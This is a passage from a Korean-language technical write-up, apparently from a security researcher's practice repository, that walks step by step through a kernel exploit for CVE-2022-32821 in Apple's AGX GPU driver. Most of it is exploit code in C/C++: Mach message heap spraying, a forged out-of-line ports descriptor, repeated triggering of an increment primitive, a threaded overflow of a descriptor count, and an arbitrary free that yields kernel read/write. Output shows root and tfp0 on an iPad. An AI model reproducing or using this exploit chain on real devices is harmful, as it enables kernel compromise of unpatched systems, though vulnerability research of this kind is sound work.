sizeof(mach_msg_header_t) + sizeof(uint32_t)) = KHEAP_DEFAULT_MAPPABLE_LOC; \/\/ free primitive target\n    \n    \/\/ *(uint64_t *)(kheap_data_spray_buf + sizeof(mach_msg_header_t) + sizeof(uint32_t) + sizeof(uint64_t)) = 0x000007F802110000; \/\/ disposition, size, etc\n    \/\/ deallocate = 0x00000000(false), copy = 0x00000000(MACH_MSG_PHYSICAL_COPY), disposition = 0x00000011(MACH_MSG_TYPE_MOVE_SEND), type = 0x00000002(MACH_MSG_OOL_PORTS_DESCRIPTOR)\n    *(uint32_t *)(kheap_data_spray_buf + sizeof(mach_msg_header_t) + sizeof(uint32_t) + sizeof(uint64_t)) = 0x02110000;\n\n    \/\/ikm_header+0x20's value will be increased, +1\n    \/\/ C++ vftable ptr to SURVIVE!\n    *(uint64_t *)(kheap_data_spray_buf + sizeof(mach_msg_header_t) + sizeof(uint32_t) + sizeof(uint32_t) + sizeof(uint64_t)) = CPP_OBJ_PTR; \/\/written at ikm_header+0x30\n    \/\/ should be 0 to branch loc_FFFFFFF005DC5118; com.apple.AGXG9P:__text:FFFFFFF005DC50D8 08 02 00 B4                             CBZ             X8, loc_FFFFFFF005DC5118\n    *(uint64_t *)(kheap_data_spray_buf + sizeof(mach_msg_header_t) + sizeof(uint32_t) + sizeof(uint32_t) + sizeof(uint64_t)*2) = 0x0;   \/\/written at ikm_header+0x38\n\n    \/\/Needed to make ikm_header+0x30's value overflowed to match with 0x7f8;\n    \/\/ C++ vftable ptr to SURVIVE!\n    *(uint64_t *)(kheap_data_spray_buf + sizeof(mach_msg_header_t) + sizeof(uint32_t) + sizeof(uint32_t) + sizeof(uint64_t)*3) = CPP_OBJ_PTR; \/\/written at ikm_header+0x40\n    \/\/ should be 0 to branch loc_FFFFFFF005DC5118; com.apple.AGXG9P:__text:FFFFFFF005DC50D8 08 02 00 B4                             CBZ             X8, loc_FFFFFFF005DC5118\n    *(uint64_t *)(kheap_data_spray_buf + sizeof(mach_msg_header_t) + sizeof(uint32_t) + sizeof(uint32_t) + sizeof(uint64_t)*4) = 0x0;   \/\/written at ikm_header+0x48\n\n    \/\/ determine if corrupted kmsg\n    *(uint64_t *)(kheap_data_spray_buf + sizeof(mach_msg_header_t) + sizeof(uint32_t) + sizeof(uint32_t) + sizeof(uint64_t)*5) = 0x1337133713371337; \/\/written at ikm_header+0x50\n    \/\/ C++ vftable ptr to SURVIVE!\n    *(uint64_t *)(kheap_data_spray_buf + sizeof(mach_msg_header_t) + sizeof(uint32_t) + sizeof(uint32_t) + sizeof(uint64_t)*7) = CPP_OBJ_PTR; \/\/written at ikm_header+0x60\n    \/\/ should be 0 to branch loc_FFFFFFF005DC5118; com.apple.AGXG9P:__text:FFFFFFF005DC50D8 08 02 00 B4                             CBZ             X8, loc_FFFFFFF005DC5118\n    *(uint64_t *)(kheap_data_spray_buf + sizeof(mach_msg_header_t) + sizeof(uint32_t) + sizeof(uint32_t) + sizeof(uint64_t)*8) = 0x0;   \/\/written at ikm_header+0x68\n\n    for (int i = 0; i &lt; PORTS_COUNT; ++i) {\n        \/\/ KHEAP_DATA_BUFFERS\n        kheap_data_ports[i] = spray_data_kalloc_complex_kmsg_single(kheap_data_spray_buf, KMSG_SIZE);\n    }\n    for (int i = 0; i &lt; PORTS_COUNT; ++i)\n    {\n        \/\/ KHEAP_DEFAULT\n        *ool_ports = port_new();\n        contained_ports[i] = *ool_ports;\n        mach_port_t *pp = spray_default_kalloc_ool_ports(0x4000, 1, ool_ports);\n        kheap_default_ports[i] = pp[0];\n        free(pp);\n    }   \n\n    notif_port = port_new();\n    for (int i = 0; i &lt; PORTS_COUNT; ++i)\n    {\n        mach_port_t prev;\n        mach_port_request_notification(mach_task_self(), contained_ports[i], MACH_NOTIFY_NO_SENDERS, 0, notif_port, MACH_MSG_TYPE_MAKE_SEND_ONCE, &amp;prev);\n        mach_port_deallocate(mach_task_self(), contained_ports[i]);\n    }\n    \/\/STEP 3 end\n    ...   \n}\n\nmach_port_t spray_data_kalloc_complex_kmsg_single(uint8_t *data, unsigned int size)\n{\n    mach_port_t port = MACH_PORT_NULL;\n    mach_port_options_t options = { .flags = MPO_INSERT_SEND_RIGHT };\n    mach_msg_header_t *msg = (mach_msg_header_t *)data;\n    \n    memset(msg, 0, sizeof(mach_msg_header_t));\n    msg-&gt;msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);\n    msg-&gt;msgh_bits  |= MACH_MSGH_BITS_COMPLEX;\n    msg-&gt;msgh_size = size;\n    \n    mach_port_construct(mach_task_self(), &amp;options, 0, &amp;port);\n\n    msg-&gt;msgh_remote_port = port;\n    mach_msg_send(msg);\n    \n    return port;\n}\n<\/code><\/pre>\n<p>kmsg\ub97c \uc2a4\ud504\ub808\uc774\ud588\uc744\ub54c \ub2e4\uc74c\uacfc \uac19\uc774 \uad6c\uc131\ub420 \uac83\uc774\ub2e4.<\/p>\n<p>(\uac01 \uc601\uc5ed\uc5d0 \ub300\ud574 \uc0c9\uc744 \uce60\ud574\ub193\uc558\uc9c0\ub9cc, \uc5ec\uc804\ud788 \ubcf4\uae30\uc5d4 \uc27d\uc9c0 \uc54a\ub2e4.)<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/main\/CVE-2022-32821\/pics\/Drawing_2026-01-28_23.58.48.excalidraw-fs8.png\" alt=\"Drawing 2026-01-28 23.58.48.excalidraw-fs8.png\"><\/p>\n<h2>4. \uccab\ubc88\uc9f8 \ubc84\uadf8 \ud2b8\ub9ac\uac70: kheap_data_ports\ub4e4\uc911\uc5d0 \uc5b4\ub290 \ud3ec\ud2b8\uac00 \uc601\ud5a5\uc744 \ubbf8\uce58\ub294\uc9c0 \uc54c\uc544\ub0b4\uae30<\/h2>\n<p>\uc774\uc81c \ubc84\uadf8\ub97c \ud2b8\ub9ac\uac70\ud558\uba74, \uc5ec\ub7ec kheap_data_ports \ud3ec\ud2b8\ub4e4\uc911 \ud558\ub098\uc758 \ud3ec\ud2b8\uc5d0 \ud574\ub2f9\ub418\ub294 kmsg\uc758 \uc77c\ubd80 \ub370\uc774\ud130\uac00 \uc190\uc0c1\ub418\uc5c8\uc744 \uac83\uc774\ub2e4. \uc815\ud655\ud788 \ub9d0\ud558\uc790\uba74, kmsg \ub370\uc774\ud130 \uc911 0x1337\u2026 \uac12\uc744 \uc801\uc5b4\ub454 \uacf3\uc774 1\uc99d\uac00 \ub418\uc5c8\uc744 \uac83\uc774\ub2e4. (0x1337133713371338)<\/p>\n<p>\ub530\ub77c\uc11c \uc5ec\ub7ec <code>kheap_data_ports<\/code> \ud3ec\ud2b8\ub4e4\uc911\uc5d0  kmsg\uac00 \uc190\uc0c1\ub41c \ud558\ub098\uc758 \ud3ec\ud2b8\ub97c \ud655\uc778\ud558\uae30 \uc704\ud574, \uac01 \ud3ec\ud2b8\ub4e4\uc5d0 \ub300\ud55c \uba54\uc2dc\uc9c0\ub97c \uc218\uc2e0\ud55c\ub2e4. \uba54\uc2dc\uc9c0\ub97c \uc218\uc2e0\ud588\uc744\ub54c, 0x1337133713371337\uac12\uacfc \uc77c\uce58\ud558\uc9c0 \uc54a\ub294\ub2e4\uba74, \ud574\ub2f9 \ud3ec\ud2b8\ub294 \ucde8\uc57d\uc810\uc744 \ud1b5\ud574 \uc6b0\ub9ac\uac00 \uc81c\uc5b4\ud560 \uc218 \uc788\ub294 \ud3ec\ud2b8\ub77c\uace0 \ud310\ub2e8\ud560 \uc218 \uc788\ub2e4. \uadf8\ub9ac\uace0 \ub2e4\uc2dc\ud55c\ubc88 <code>kheap_data_spray_buf<\/code> \ub370\uc774\ud130\ub85c \uba54\uc2dc\uc9c0\ub97c \uc804\uc1a1\uc2dc\ucf1c kmsg \ub370\uc774\ud130\ub97c \uc720\uc9c0\uc2dc\ucf1c\uc900\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">int exploit(void) {\n    ...\n    \/\/ STEP 4: Trigger vuln; will increase value in ikm_header+0x50 and determine which kmsg has been corrupted\n    \/\/ \uc544\uc774\ub514\uc5b4: port_receive_msg\ub85c \uc5b4\ub5a4\ud3ec\ud2b8\ub97c \ucee8\ud2b8\ub864\ud558\ub294\uc9c0 \uc54c\uc544\ub0b8\ub2e4\uc74c, \ud574\ub2f9 \ud3ec\ud2b8\ub97c \uc720\uc9c0\ud55c\ucc44 \ub2e4\uc2dc \ub9e4\uc2dc\uc9c0\ub97c \uc804\uc1a1\uc2dc\ucf1c \uc81c\ub300\ub85c \ucee8\ud2b8\ub864\ud558\uae30 \n    io_connect_t uc = IOGPU_init();\n\tfor (int i = 0; i &lt; 2048; ++i)\n\t\tIOGPU_create_mtllateeventevent(uc);\n\tIOGPU_create_mtllateeventevent(uc); \/\/real trigger\n\n    uint8_t msg_buf[0x4000];\n    mach_port_t arb_free_holder = MACH_PORT_NULL;\n    for (int i = 0; i &lt; PORTS_COUNT; ++i) {\n        memset(msg_buf, 0, KMSG_SIZE);\n        port_receive_msg(kheap_data_ports[i], msg_buf, sizeof(msg_buf));\n\n        if(*(uint64_t*)(msg_buf + 0x48) != 0x1337133713371337) {\n            printf(&quot;kheap_data_idx: %08X\\n&quot;, i);\n            kheap_data_idx = i;\n            arb_free_holder = kheap_data_ports[kheap_data_idx];\n\n            send_data_kalloc_complex_kmsg_single(arb_free_holder, kheap_data_spray_buf, KMSG_SIZE); \/\/resend\n            break;\n        }\n    }\n    printf(&quot;Survived, Determined which kmsg has been corrupted!\\n&quot;);\n    ...\n}\n\nuint32_t IOGPU_create_mtllateeventevent(io_connect_t uc)\n{\n    uint64_t Output[2] = {0};\n    uint64_t OutputCount = 2;\n\n    kern_return_t kr = IOConnectCallMethod(uc, 29, 0, 0, 0, 0, Output, &amp;OutputCount, 0, 0);\n\n    if (kr)\n        return 0;\n    \n    return 1;\n}\n\nvoid port_receive_msg(mach_port_t p, uint8_t *buf, unsigned int n)\n{\n    mach_msg((mach_msg_header_t *)buf,\n              MACH_RCV_MSG | MACH_MSG_TIMEOUT_NONE,\n              0,\n              n,\n              p,\n              0,\n              0);\n}\n\nmach_port_t send_data_kalloc_complex_kmsg_single(mach_port_t port, uint8_t *data, unsigned int size)\n{\n    mach_msg_header_t *msg = (mach_msg_header_t *)data;\n    \n    memset(msg, 0, sizeof(mach_msg_header_t));\n    msg-&gt;msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);\n    msg-&gt;msgh_bits  |= MACH_MSGH_BITS_COMPLEX;\n    msg-&gt;msgh_size = size;\n\n    msg-&gt;msgh_remote_port = port;\n    mach_msg_send(msg);\n    \n    return port;\n}\n<\/code><\/pre>\n<ul>\n<li>\uc2e4\ud589 \uacb0\uacfc<\/li>\n<\/ul>\n<pre><code class=\"language-c\">...\nkheap_data_idx: 00000BED\nSurvived, Determined which kmsg has been corrupted!\n<\/code><\/pre>\n<p>\ubc84\uadf8\ub97c \ud2b8\ub9ac\uac70\ud588\uc744\ub54c, \uc5b4\ub5bb\uac8c \uc218\ud589\ub418\ub294\uc9c0 \ub354 \uad6c\uccb4\uc801\uc73c\ub85c \uc54c\uc544\ubcf4\uc790.<\/p>\n<p>\ud30c\uc774\ud504 \uc2a4\ud504\ub808\uc774\ub97c \ud1b5\ud574 v18\uc744 \uc784\uc758\ub85c \uc870\uc791\ud568\uc73c\ub85c\uc368 \uc99d\uac00 \ud504\ub9ac\ubbf8\ud2f0\ube0c\ub97c \uc704\ud55c v19 \ub610\ud55c \uc81c\uc5b4\ud560 \uc218 \uc788\ub2e4. <code>AGXShared::create_mtllateevalevent<\/code> \uc5d0\uc11c \uacb0\uacfc\uc801\uc73c\ub85c \uc544\ub798\uc640 \uac19\uc774 \uc218\ud589\ub41c\ub2e4.<\/p>\n<ul>\n<li><code>OSObject::retain<\/code> \ud638\ucd9c (\ucee4\ub110 \ud568\uc218 \ud638\ucd9c \uc911 \ud328\ub2c9\uc5d0\uc11c \uc0dd\uc874\ud558\uae30 \uc704\ud568)<\/li>\n<li>\ud2b9\uc815 \ucee4\ub110 \uc8fc\uc18c\uc778 (0xffffffe37da60000+0x50)\uc5d0 \uc800\uc7a5\ub41c \uac12\uc744 1\uc99d\uac00\uc2dc\ud0b4. \uc774\ub294 \ucd94\ud6c4 \uc5ec\ub7ec kheap_data_ports \ud3ec\ud2b8\ub4e4\uc911\uc5d0 \uc5b4\ub290 \ud3ec\ud2b8\uac00 \uc190\uc0c1\ub418\uc5c8\ub294\uc9c0 \uad6c\ubd84\ud558\uae30 \uc704\ud568.<\/li>\n<li><code>IORegistryIterator::getNextObjectFlat<\/code> \ud638\ucd9c (\ucee4\ub110 \ud568\uc218 \ud638\ucd9c \uc911 \ud328\ub2c9\uc5d0\uc11c \uc0dd\uc874\ud558\uae30 \uc704\ud568)<\/li>\n<li>v20 \uac12\uc740 0\uc774\uae30 \ub54c\ubb38\uc5d0 LABEL_16\uc73c\ub85c \ube0c\ub79c\uce58\ub428 (\ubd88\ud544\uc694\ud55c \ub3d9\uc791 \ubc0f \ucee4\ub110 \ud328\ub2c9 \ubc29\uc9c0 \uc704\ud568)<\/li>\n<\/ul>\n<p>\uc99d\uac00 \ud504\ub9ac\ubbf8\ud2f0\ud504\uac00 \uc5b4\ub290 \uacf3\uc5d0 \uc601\ud5a5\uc744 \ubbf8\uce58\ub294\uc9c0, \uadf8\ub9bc\uc5d0\uc11c \ube68\uac04\uc0c9 \ubd80\ubd84\uc744 \uc790\uc138\ud788 \ub4e4\uc5ec\ub2e4\ubcf4\uba74 \uc88b\uc744 \ub4ef \uc2f6\ub2e4.<\/p>\n<p>\uadf8 \uc678\uc5d0\ub3c4 \uc8fc\ud669\uc0c9 \ubd80\ubd84\uacfc \ud558\ub298\uc0c9 \ubd80\ubd84\uc744 \ub4e4\uc5ec\ub2e4\ubcf4\uba74, \uc5ec\uc804\ud788 \ubcf5\uc7a1\ud558\uae34 \ud558\uc9c0\ub9cc, \ucee4\ub110 \ud568\uc218 \ud638\ucd9c \uc911 \ud328\ub2c9\uc5d0\uc11c \uc0dd\uc874\ud558\uae30 \uc704\ud574 \uc5b4\ub290 \uacf3\uc744 \uac00\ub9ac\ucf1c\uc11c \ud638\ucd9c\uc744 \uc218\ud589\ud558\ub294\uc9c0 \uc54c \uc218 \uc788\uc744 \uac83\uc774\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/main\/CVE-2022-32821\/pics\/Drawing_2026-01-29_01.35.17.excalidraw-fs8.png\" alt=\"Drawing 2026-01-29 01.35.17.excalidraw-fs8.png\"><\/p>\n<h2>5. \ub450\ubc88\uc9f8 \ubc84\uadf8 \ud2b8\ub9ac\uac70: mach_msg_body_t\u2019s msgh_descriptor_count\ub97c 1\ub85c \uc99d\uac00\uc2dc\ud0a4\uae30<\/h2>\n<p>free primitive\ub97c \ud558\uae30 \uc704\ud574 fake descriptor\ub97c kmsg\uc5d0 \uc801\uc5b4\ub454 \uac83\uc744 \uae30\uc5b5\ud558\ub294\uac00?<\/p>\n<p><code>mach_port_destroy<\/code>\ub97c \ud638\ucd9c\ud568\uc73c\ub85c\uc368, \uac70\uae30\uc5d0 \uc801\uc5b4\ub454 OOL \ub514\uc2a4\ud06c\ub9bd\ud130 \ud3ec\ud2b8 \uc8fc\uc18c\uac00 \uc784\uc758 \ud560\ub2f9\ud574\uc81c\uac00 \uac00\ub2a5\ud558\uac8c\ub054 \ub9cc\ub4e4\ub824\uba74, <code>msgh_descriptor_count<\/code>\ub97c 1 \uc99d\uac00\uc2dc\ucf1c\uc57c \ud55c\ub2e4.<\/p>\n<p><code>ipc_kmsg_clean<\/code>\uc5d0\uc11c \ubcf4\ub2e4\uc2dc\ud53c <code>ipc_kmsg_clean_body<\/code>\ub97c \ud638\ucd9c\ud560\ub54c 2\ubc88\uc9f8 \ub9e4\uac1c\ubcc0\uc218\uc5d0 <code>msgh_descriptor_count<\/code>\uac00 \ub4e4\uc5b4\uac10\uc73c\ub85c\uc368 \uc81c\ub300\ub85c \ud560\ub2f9\ud574\uc81c\ub97c \uc218\ud589\ud560 \uc218 \uc788\uae30 \ub54c\ubb38\uc774\ub2e4.<\/p>\n<pre><code class=\"language-c\">\/\/ xnu-8019.41.5\/osfmk\/ipc\/ipc_kmsg.c:1842\nstatic void\nipc_kmsg_clean(\n\tipc_kmsg_t      kmsg)\n{\n\tipc_object_t object;\n\tmach_msg_bits_t mbits;\n\n\t\/* deal with importance chain while we still have dest and voucher references *\/\n\tipc_importance_clean(kmsg);\n\n\tmbits = kmsg-&gt;ikm_header-&gt;msgh_bits;\n\tobject = ip_to_object(kmsg-&gt;ikm_header-&gt;msgh_remote_port);\n\t\n\t...\n\n\tif (mbits &amp; MACH_MSGH_BITS_COMPLEX) { \/\/ &lt;- THIS !!!!!\n\t\tmach_msg_body_t *body;\n\n\t\tbody = (mach_msg_body_t *) (kmsg-&gt;ikm_header + 1);\n\t\tipc_kmsg_clean_body(kmsg, body-&gt;msgh_descriptor_count,\n\t\t    (mach_msg_descriptor_t *)(body + 1));\n\t}\n}\n<\/code><\/pre>\n<pre><code class=\"language-c\">\/\/ xnu-8019.41.5\/osfmk\/ipc\/ipc_kmsg.c:1687\nstatic void\nipc_kmsg_clean_body(\n\t__unused ipc_kmsg_t     kmsg,\n\tmach_msg_type_number_t  number,\n\tmach_msg_descriptor_t   *saddr)\n{\n\tmach_msg_type_number_t      i;\n\n\tif (number == 0) {\n\t\treturn;\n\t}\n\n\tfor (i = 0; i &lt; number; i++, saddr++) {\n\t\tswitch (saddr-&gt;type.type) {\n\t\t...\n\t\tcase MACH_MSG_OOL_PORTS_DESCRIPTOR: \/* 2 *\/{\n\t\t\tipc_object_t                    *objects;\n\t\t\tmach_msg_type_number_t          j;\n\t\t\tmach_msg_ool_ports_descriptor_t *dsc;\n\n\t\t\tdsc = (mach_msg_ool_ports_descriptor_t  *)&amp;saddr-&gt;ool_ports;\n\t\t\tobjects = (ipc_object_t *) dsc-&gt;address;\n\n\t\t\tif (dsc-&gt;count == 0) {\n\t\t\t\tbreak;\n\t\t\t}\n\n\t\t\tassert(objects != (ipc_object_t *) 0);\n\n\t\t\t\/* destroy port rights carried in the message *\/\n\n\t\t\tfor (j = 0; j &lt; dsc-&gt;count; j++) {\n\t\t\t\tipc_object_t object = objects[j];\n\n\t\t\t\tif (!IO_VALID(object)) {\n\t\t\t\t\tcontinue;\n\t\t\t\t}\n\n\t\t\t\tipc_object_destroy(object, dsc-&gt;disposition);\n\t\t\t}\n\n\t\t\t\/* destroy memory carried in the message *\/\n\n\t\t\tassert(dsc-&gt;count != 0);\n\n\t\t\tkfree_type(mach_port_t, dsc-&gt;count, dsc-&gt;address);\n\t\t\tbreak;\n\t\t}\n\t\t...\n\t\tdefault:\n\t\t\tpanic(&quot;invalid descriptor type: (%p: %d)&quot;,\n\t\t\t    saddr, saddr-&gt;type.type);\n\t\t}\n\t}\n}\n<\/code><\/pre>\n<p>\ud30c\uc774\ud504 \ubc84\ud37c \ub370\uc774\ud130\ub97c \ub2e4\uc2dc \ud55c\ubc88 \uc81c\uc5b4\ud568\uc73c\ub85c\uc368\n\uc774\ubc88\uc5d0\ub294 <code>msgh_descriptor_count<\/code>\uac12\uc744 1\ub85c \uc99d\uac00 \ud504\ub9ac\ubbf8\ud2f0\ube0c\ub97c \uc218\ud589 \uac00\ub2a5\ud558\uac8c\ub054 \ub9cc\ub4e0\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">int exploit(void) {\n    ...\n    \/\/ STEP 5: Trigger vuln; will increase mach_msg_body_t's msgh_descriptor_count count\n    x8 = (KHEAP_DATA_MAPPABLE_LOC+0x20);  \/\/ x8 will be Pointed here.  \/\/com.apple.AGXG9P:__text:FFFFFFF005DC508C     LDR X0, [X8,#0x10]\n    memset_pattern8(pipe_buffer, &amp;x8, pipe_buffer_size);\n    for(int i = 0; i &lt; pipe_count; i++) {\n        read(pipefds[2 * i], recv_buf, pipe_buffer_size);\n        write(pipefds[2 * i + 1], pipe_buffer, pipe_buffer_size-1);\n    }\n    IOGPU_create_mtllateeventevent(uc);\n    printf(&quot;Increased mach_msg_body_t's msgh_descriptor_count to 1\\n&quot;);\n    ...\n}\n<\/code><\/pre>\n<p>\uc5ec\uc804\ud788 \ucee4\ub110 \ud568\uc218 \ud638\ucd9c \uc911 \ud328\ub2c9\uc5d0\uc11c \uc0dd\uc874\ud558\uae30 \uc704\ud574 \uac19\uc740 \uacf3, \uc989 \uac19\uc740 \ud568\uc218\ub97c \ud638\ucd9c\ud558\ub3c4\ub85d \uac00\ub9ac\ud0a4\ub418,\n\uc99d\uac00 \ud504\ub9ac\ubbf8\ud2f0\ud504\ub294 \uc774\uc81c <code>msgh_descriptor_count<\/code> \uac12\uc774 \uc800\uc7a5\ub41c \uc8fc\uc18c\ub97c \ud5a5\ud574 \uc218\ud589\ub41c\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/main\/CVE-2022-32821\/pics\/Drawing_2026-01-29_01.35.17.excalidraw_1-fs8.png\" alt=\"Drawing 2026-01-29 01.35.17.excalidraw 1-fs8.png\"><\/p>\n<h2>6. \uc138\ubc88\uc9f8 \ubc84\uadf8 \ud2b8\ub9ac\uac70: mach_msg_ool_ports_descriptor_t\uc758 count\ub97c \uc624\ubc84\ud50c\ub85c\uc6b0\uc2dc\ucf1c 0x7F8\ub85c \ub9cc\ub4e4\uae30<\/h2>\n<p>\ub9c8\uc9c0\ub9c9\uc73c\ub85c \uc774\uc81c <code>mach_msg_ool_ports_descriptor_t<\/code>\uc758 <code>count<\/code> \uac12\uc744 0x7F8\ub85c \ub9cc\ub4dc\ub294 \uc77c\ub9cc \ub0a8\uc558\ub2e4.<\/p>\n<p>3-3 \uacfc\uc815\uc5d0\uc11c \uc62c\ub9b0 \uadf8\ub9bc\uc744 \ubcf4\uba74 \uc54c\ub2e4\uc2dc\ud53c, \ud604\uc7ac 0xfa0997c \uac12\uc73c\ub85c \ub418\uc5b4\uc788\ub2e4.<\/p>\n<pre><code class=\"language-c\">0xffffffe37da60024: 0xffffffe375bd0000 0xfa0997c002110000 &lt;- count = 0xfa0997c\n0xffffffe37da60034: 0x00000000ffffffe0 0xfa0997c000000000\n<\/code><\/pre>\n<p>\uba40\ud2f0\uc4f0\ub808\ub4dc\ub85c \uc5ec\ub7ec\ubc88 \ubc84\uadf8\ub97c \ud2b8\ub9ac\uac70 \ubc0f \uc99d\uac00 \ud504\ub9ac\ubbf8\ud2f0\ube0c\ub97c \uc218\ud589\ud558\uc5ec, \uc624\ubc84\ud50c\ub85c\uc6b0\ub418\uba74\uc11c 0x7F8\ub85c \ub9cc\ub4e4\uc5b4\uc904 \uc218 \uc788\ub2e4. \ub300\uc2e0\uc5d0 \uc57d 3\ubd84\uc815\ub3c4 \uc2dc\uac04\uc774 \uaf64 \uac78\ub9b0\ub2e4.<\/p>\n<pre><code class=\"language-cpp\">int exploit(void) {\n    ...\n    \/\/ STEP 6: Overflowing to make mach_msg_ool_ports_descriptor_t's count = 0x7F8;\n    printf(&quot;Overflowing mach_msg_ool_ports_descriptor_t's count to make 0x7f8...\\n&quot;);\n    x8 = (KHEAP_DATA_MAPPABLE_LOC+0x30);  \/\/ x8 will be Pointed here.  \/\/com.apple.AGXG9P:__text:FFFFFFF005DC508C     LDR X0, [X8,#0x10]\n    memset_pattern8(pipe_buffer, &amp;x8, pipe_buffer_size);\n    for(int i = 0; i &lt; pipe_count; i++) {\n        read(pipefds[2 * i], recv_buf, pipe_buffer_size);\n        write(pipefds[2 * i + 1], pipe_buffer, pipe_buffer_size-1);\n    }\n    \n    uint32_t cpp_obj_ptr_32 = CPP_OBJ_PTR &amp; 0xFFFFFFFF;\n    uint64_t make_overflow_count = 0xFFFFFFFF - cpp_obj_ptr_32 + 1;\n    printf(&quot;make_overflow_count = 0x%llx\\n&quot;, make_overflow_count);\n    uint64_t iter = make_overflow_count + 0x7F8;\n    \n    pthread_t pt1;\n    pthread_t pt2;\n    pthread_attr_t pattr;\n    pthread_attr_init(&amp;pattr);\n    pthread_attr_set_qos_class_np(&amp;pattr, QOS_CLASS_USER_INITIATED, 0);\n\n    thread_args_t *args1 = (thread_args_t *)malloc(sizeof(thread_args_t));\n    thread_args_t *args2 = (thread_args_t *)malloc(sizeof(thread_args_t));\n    args1-&gt;iter_count = (iter \/ 2);\n    args1-&gt;uc = uc;\n    args2-&gt;iter_count = (iter - (iter \/ 2));\n    args2-&gt;uc = uc;\n\n    pthread_create(&amp;pt1, &amp;pattr, (void *(*)(void *))trigger_vuln, (void *)args1);\n    pthread_create(&amp;pt2, &amp;pattr, (void *(*)(void *))trigger_vuln2, (void *)args2);\n    pthread_join(pt1, NULL);\n    pthread_join(pt2, NULL);\n    free(args1);\n    free(args2);\n    pthread_attr_destroy(&amp;pattr);\n    printf(&quot;Made mach_msg_ool_ports_descriptor_t's count to 0x7F8\\n&quot;);\n    ...\n}\n\ntypedef struct {\n    uint64_t iter_count;\n    io_connect_t uc;\n} thread_args_t;\n\nvoid *trigger_vuln(void *arg) {\n    thread_args_t *args = (thread_args_t *)arg;\n    uint64_t iter = args-&gt;iter_count;\n    io_connect_t uc = args-&gt;uc;\n\n    for(uint64_t i = 0; i &lt; iter; i++) {\n        uint64_t remaining = iter - i;\n        if (remaining % 1000000 == 0) {\n            printf(&quot;[Thread 1 Remaining]: %llu\\n&quot;, remaining);\n        }\n\n        IOGPU_create_mtllateeventevent(uc);\n    }\n    \n    return NULL;\n}\n\nvoid *trigger_vuln2(void *arg) {\n    thread_args_t *args = (thread_args_t *)arg;\n    uint64_t iter = args-&gt;iter_count;\n    io_connect_t uc = args-&gt;uc;\n\n    for(uint64_t i = 0; i &lt; iter; i++) {\n        uint64_t remaining = iter - i;\n        if (remaining % 1000000 == 0) {\n            printf(&quot;[Thread 2 Remaining]: %llu\\n&quot;, remaining);\n        }\n\n        IOGPU_create_mtllateeventevent(uc);\n    }\n    \n    return NULL;\n}\n<\/code><\/pre>\n<ul>\n<li>\uc2e4\ud589 \uacb0\uacfc<\/li>\n<\/ul>\n<pre><code class=\"language-c\">...\n[Thread 1 Remaining]: 2000000\n[Thread 2 Remaining]: 2000000\n[Thread 1 Remaining]: 1000000\n[Thread 2 Remaining]: 1000000\nMade mach_msg_ool_ports_descriptor_t's count to 0x7F8\n<\/code><\/pre>\n<p>\uadf8\ub9bc\uc73c\ub85c \ub098\ud0c0\ub0b4\uc790\uba74, \ub2e4\uc74c\uacfc \uac19\ub2e4.<\/p>\n<p>\uc99d\uac00 \ud504\ub9ac\ubbf8\ud2f0\ube0c\uac00 \uc601\ud5a5\uc744 \ubbf8\uce58\ub294\uacf3\uc740 \uc774\uc81c <code>mach_msg_ool_ports_descriptor_t<\/code>\uc758 <code>count<\/code> \uac12\uc774 \ub41c\ub2e4.<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/raw.githubusercontent.com\/wh1te4ever\/xnu_1day_practice\/main\/CVE-2022-32821\/pics\/Drawing_2026-01-29_01.35.17.excalidraw_1_1-fs8.png\" alt=\"Drawing 2026-01-29 01.35.17.excalidraw 1 1-fs8.png\"><\/p>\n<h2>7. <code>exploitation_get_krw_with_arb_free<\/code><\/h2>\n<ul>\n<li>\uc124\uba85 \uc0dd\ub7b5\ub428<\/li>\n<li><a href=\"https:\/\/github.com\/wh1te4ever\/xnu_1day_practice\/blob\/main\/CVE-2021-30937\/README_ko.md#3-exploitation_get_krw_with_arb_free\">https:\/\/github.com\/wh1te4ever\/xnu_1day_practice\/blob\/main\/CVE-2021-30937\/README_ko.md#3-exploitation_get_krw_with_arb_free<\/a><\/li>\n<\/ul>\n<pre><code class=\"language-cpp\">int exploit(void) {\n    ...\n    \/\/ STEP 7: generic exploitation using arbitrary free\n    uint64_t kernel_base = 0;\n    exploitation_get_krw_with_arb_free(arb_free_holder, &amp;kernel_base);\n    \n    \/\/ STEP 8: test kernel r\/w, read kernel base\n    uint32_t mh_magic = kread32(kernel_base);\n    if (mh_magic != 0xFEEDFACF)\n    {\n        printf(&quot;mh_magic != 0xFEEDFACF: %08X\\n&quot;, mh_magic);\n        return 1;\n    }\n    printf(&quot;kread32(kernel_base) success: %08X\\n&quot;, mh_magic);\n    ...\n}\n<\/code><\/pre>\n<h2>8. <code>exploitation_cleanup<\/code><\/h2>\n<ul>\n<li>\uc124\uba85 \uc0dd\ub7b5\ub428<\/li>\n<li><a href=\"https:\/\/github.com\/wh1te4ever\/xnu_1day_practice\/blob\/main\/CVE-2021-30937\/README_ko.md#4-exploitation_cleanup\">https:\/\/github.com\/wh1te4ever\/xnu_1day_practice\/blob\/main\/CVE-2021-30937\/README_ko.md#4-exploitation_cleanup<\/a><\/li>\n<\/ul>\n<pre><code class=\"language-cpp\">int exploit(void) {\n    ...\n    \/\/ STEP 9: cleanup\n    \/\/ generic exploitation cleanup (kernel r\/w still active)\n    exploitation_cleanup();\n    \n    return 0;\n}\n<\/code><\/pre>\n<h1>\uc2e4\ud589 \uacb0\uacfc<\/h1>\n<pre><code class=\"language-c\">ssh root@127.0.0.1 -p22224\n(root@127.0.0.1) Password for root@iPad7-150:\niPad7-150:~ root# CVE-2022-32821 \ntfp0 ret: 0x0 ((os\/kern) successful)\nkext_name: com.apple.kec.corecrypto\nkext_addr_slid: 0xfffffff01fc632c0\ntfp0 = 0x903\ngKernelBase = 0xfffffff021ab0000, gKernelSlide = 0x1aaac000\ncpp_obj_ptr = 0xffffffe0fa720690\nmake_overflow_count = 